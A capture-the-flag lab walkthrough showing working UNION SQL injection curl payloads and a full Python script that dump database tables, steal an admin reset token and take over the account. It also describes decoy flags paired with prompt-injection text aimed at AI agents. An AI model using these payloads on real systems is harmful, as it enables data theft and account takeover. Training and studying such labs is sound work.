← Back to Writeups
CUSTOMMediumWeb

Lab 83 — DealStream — UNION SQL Injection in Public Search API

XESXOR9/2/20267 min read
#web#custom#medium#account_takeover#api_parameter_injection#password_reset_token_extractio#sqlite_schema_enumeration#union_based_sqli

Lab 83 — DealStream — UNION SQL Injection in Public Search API

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: account_takeover, api_parameter_injection, password_reset_token_extraction, sqlite_schema_enumeration, union_based_sqli

Summary

Walkthrough of the CUSTOM Web Lab 83 — DealStream — UNION SQL Injection in Public Search API. Task: CRM platform with public search API where the scope parameter is directly interpolated into a SQLite WHERE clause. Flag is XOR-encrypted in admin_settings, decrypted only in admin panel. Solutio

Description

DealStream is a customer relationship management platform built by StreamLine Solutions. Sales teams use it to manage contacts, track deals through pipeline stages, and collaborate on accounts. The platform features a public-facing knowledge base with searchable help articles, alongside authenticated dashboards for managing the full sales pipeline. The search functionality is powered by a JSON API that supports filtering by article category. Your goal is to find the flag, which is stored securely in the admin panel. Only administrators can view it.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask/SQLite CRM application with a public search API. The scope parameter in /api/search is vulnerable to UNION-based SQL injection. The flag is XOR-encrypted in the admin_settings table and only decrypted at runtime in the admin panel. The attack chain requires SQLi to enumerate the database, trigger a password reset for the admin account, extract the reset token via SQLi, take over the admin account, and access the admin settings page to view the decrypted flag.

Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

The application runs Flask/Python behind nginx/1.25.5 with a SQLite backend. Key endpoints discovered:

  • / — Public landing page with knowledge base search
  • /login, /register — Authentication
  • /forgot-password, /reset-password — Password reset flow
  • /dashboard — Authenticated user dashboard (deals, contacts, pipeline)
  • /admin/settings — Admin-only settings page (flag location)
  • /api/search — Public JSON API for searching help articles
  • /static/js/app.js — Client-side JavaScript revealing API parameters ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JavaScript at /static/js/app.js reveals the search API structure:

javascript
// API call: /api/search?q=<query>&scope=<category>&limit=10&start=0

Decoy Flags

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs. These are honeypots for automated scanners and AI agents, accompanied by prompt injection text attempting to trick AI into submitting the fake flag. The real flag is only accessible through the admin panel.

Confirming SQL Injection

Injecting a single quote in the scope parameter triggers a SQLite error: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s "https://TARGET.labs.hackadvisor.io/api/search?q=a&scope=all'&limit=10&start=0"

Response:

json
{
  "details": "unrecognized token: \"') LIMIT 10 OFFSET 0\"",
  "error": "Search query failed"
}

This reveals:

  1. SQLite backend (SQLite-specific error format)
  2. Direct string interpolation (no parameterized queries)
  3. Query structure — the scope value is inside parentheses, followed by LIMIT and OFFSET

The approximate query structure:

sql
SELECT id, title, snippet, category, created_at
FROM help_articles
WHERE (title LIKE '%q%' OR snippet LIKE '%q%')
  AND (category = 'scope')
LIMIT limit OFFSET start

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Column Count Determination

Testing UNION with increasing column counts:

bash
# 5 columns works:
curl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT 1,2,3,4,5 --&limit=10&start=0"

Column mapping from the JSON response: id=1, title=2, snippet=3, category=4, created_at=5.

Solution

Step 1: Schema Enumeration via UNION SQLi

Extract all table definitions from sqlite_master:

bash
curl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT 1,name,sql,type,5 FROM sqlite_master --&limit=50&start=0"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tables discovered:

  • help_articles — knowledge base articles (the table being queried)
  • users — id, email, password_hash, role, reset_token, reset_token_expiry, full_name, created_at
  • admin_settings — id, key, value, description, encrypted
  • contacts — CRM contacts
  • deals — sales pipeline deals
  • activity_log — user activity tracking

Step 2: Extract Data from admin_settings

bash
curl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT id,key,value,description,encrypted FROM admin_settings --&limit=50&start=0"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key findings:

keyvalueencrypted
company_nameStreamLine Solutions0
license_keySTRM-ENT-2025-7K9X-BQPL0
system_flagAikgKyhNRwNXWndWXVZbUnhVQQQEAA1Dd1IFDmJESlZZVCZfWhs=1

The system_flag is XOR-encrypted (base64-encoded ciphertext) and only decrypted at runtime in the admin panel. Direct decryption would require knowing the XOR key — instead, we need admin access.

Step 3: Extract User Data

bash
curl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT id,email,password_hash,role,full_name FROM users --&limit=50&start=0"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

emailrolenotes
admin@dealstream.ioadminscrypt password hash (infeasible to crack)
user@test.comuserprovided credentials

The users table also has reset_token and reset_token_expiry columns — both NULL initially.

Step 4: Password Reset Token Theft

Since the admin password hash uses scrypt (computationally expensive to crack), the attack pivots to the password reset flow:

Trigger a password reset for the admin account:

bash
curl -s -X POST "https://TARGET/forgot-password" \
  -d "email=admin@dealstream.io"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extract the generated reset token via SQLi:

bash
curl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT id,email,reset_token,reset_token_expiry,role FROM users WHERE role='admin' --&limit=10&start=0"

Result:

json
{
  "title": "admin@dealstream.io",
  "snippet": "z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo",
  "category": "2026-05-14T08:21:35.260534",
  "id": 1
}

Token: z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo

Step 5: Reset Admin Password

Verify the token is valid:

bash
curl -s "https://TARGET/reset-password?token=z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo" | grep -o "Reset Your Password"
# Returns: Reset Your Password (valid form)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Set a new password:

bash
curl -s -X POST "https://TARGET/reset-password" \
  -d "token=z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo&password=admin123456&confirm_password=admin123456" \
  -L

Step 6: Access Admin Panel

Log in as admin:

bash
curl -s -X POST "https://TARGET/login" \
  -d "email=admin@dealstream.io&password=admin123456" \
  -c cookies.txt -L

# Access admin settings:
curl -s -b cookies.txt "https://TARGET/admin/settings"

The /admin/settings page displays all settings including the decrypted system_flag: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

system_flag: FLAG{REDACTED}
(Decrypted at runtime)

Full Solve Script

python
#!/usr/bin/env python3
"""
DealStream — UNION SQLi → Password Reset Token Theft → Admin Takeover
Lab 83 solve script
"""
import requests
import re
import urllib.parse

TARGET = "https://TARGET.labs.hackadvisor.io"
SEARCH_URL = f"{TARGET}/api/search"
CREDS = {"email": "user@test.com", "password": "password123"}
ADMIN_EMAIL = "admin@dealstream.io"

session = requests.Session()

def sqli(payload):
    """Execute UNION SQLi via scope parameter."""
    params = {
        "q": "a",
        "scope": f"all') {payload} --",
        "limit": "50",
        "start": "0"
    }
    r = session.get(SEARCH_URL, params=params)
    return r.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Enumerate schema
print("[*] Enumerating database schema...")
data = sqli("UNION SELECT 1,name,sql,type,5 FROM sqlite_master")
for row in data.get("results", []):
    print(f"  {row['category']}: {row['title']} -> {row['snippet'][:80]}")

# Step 2: Check admin_settings for flag
print("\n[*] Extracting admin_settings...")
data = sqli("UNION SELECT id,key,value,description,encrypted FROM admin_settings")
for row in data.get("results", []):
    print(f"  {row['title']}: {row['snippet']} (encrypted={row['category']})")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Extract users
print("\n[*] Extracting users...")
data = sqli("UNION SELECT id,email,role,reset_token,reset_token_expiry FROM users")
for row in data.get("results", []):
    print(f"  {row['title']} (role={row['snippet']}, token={row['category']})")

# Step 4: Trigger password reset for admin
print(f"\n[*] Triggering password reset for {ADMIN_EMAIL}...")
r = session.post(f"{TARGET}/forgot-password", data={"email": ADMIN_EMAIL})
print(f"  Status: {r.status_code}")

# Step 5: Extract reset token via SQLi
print("[*] Extracting reset token...")
data = sqli(f"UNION SELECT id,email,reset_token,reset_token_expiry,role FROM users WHERE email='{ADMIN_EMAIL}'")
token = None
for row in data.get("results", []):
    if row.get("title") == ADMIN_EMAIL:
        token = row["snippet"]
        print(f"  Token: {token}")
        print(f"  Expiry: {row['category']}")
        break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if not token:
    print("[-] Failed to extract reset token!")
    exit(1)

# Step 6: Reset admin password
new_password = "admin123456"
print(f"\n[*] Resetting admin password to '{new_password}'...")
r = session.post(f"{TARGET}/reset-password", data={
    "token": token,
    "password": new_password,
    "confirm_password": new_password
}, allow_redirects=False)
print(f"  Status: {r.status_code} -> {r.headers.get('Location', 'N/A')}")

# Step 7: Login as admin and get flag
print("\n[*] Logging in as admin...")
r = session.post(f"{TARGET}/login", data={
    "email": ADMIN_EMAIL,
    "password": new_password
}, allow_redirects=False)
print(f"  Status: {r.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print("[*] Accessing admin settings...")
r = session.get(f"{TARGET}/admin/settings")
# Extract flag from page
flags = re.findall(r'FLAG\{[a-f0-9]+\}', r.text)
# Filter out decoy
real_flags = [f for f in flags if 'd3c0y' not in f]
if real_flags:
    print(f"\n*** FLAG: {real_flags[0]} ***")
else:
    print("[-] Flag not found in admin settings page")
    print(f"  Response length: {len(r.text)}")

Dead Ends

  • Cracking scrypt password hash — computationally infeasible; password reset token theft is the correct path
  • Decrypting XOR-encrypted flag directly — while the XOR key could theoretically be derived from known plaintext (FLAG{ prefix), accessing the admin panel is simpler and more reliable
  • Decoy flags — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} appears everywhere in HTML with prompt injection text designed to mislead AI agents
  • Session cookie tampering — Flask sessions are signed; changing role to admin without the secret key fails ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering account_takeover, api_parameter_injection, password_reset_token_extraction, sqlite_schema_enumeration, union_based_sqli was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 83 — DealStream — UNION SQL Injection in Public Search API • Difficulty: Medium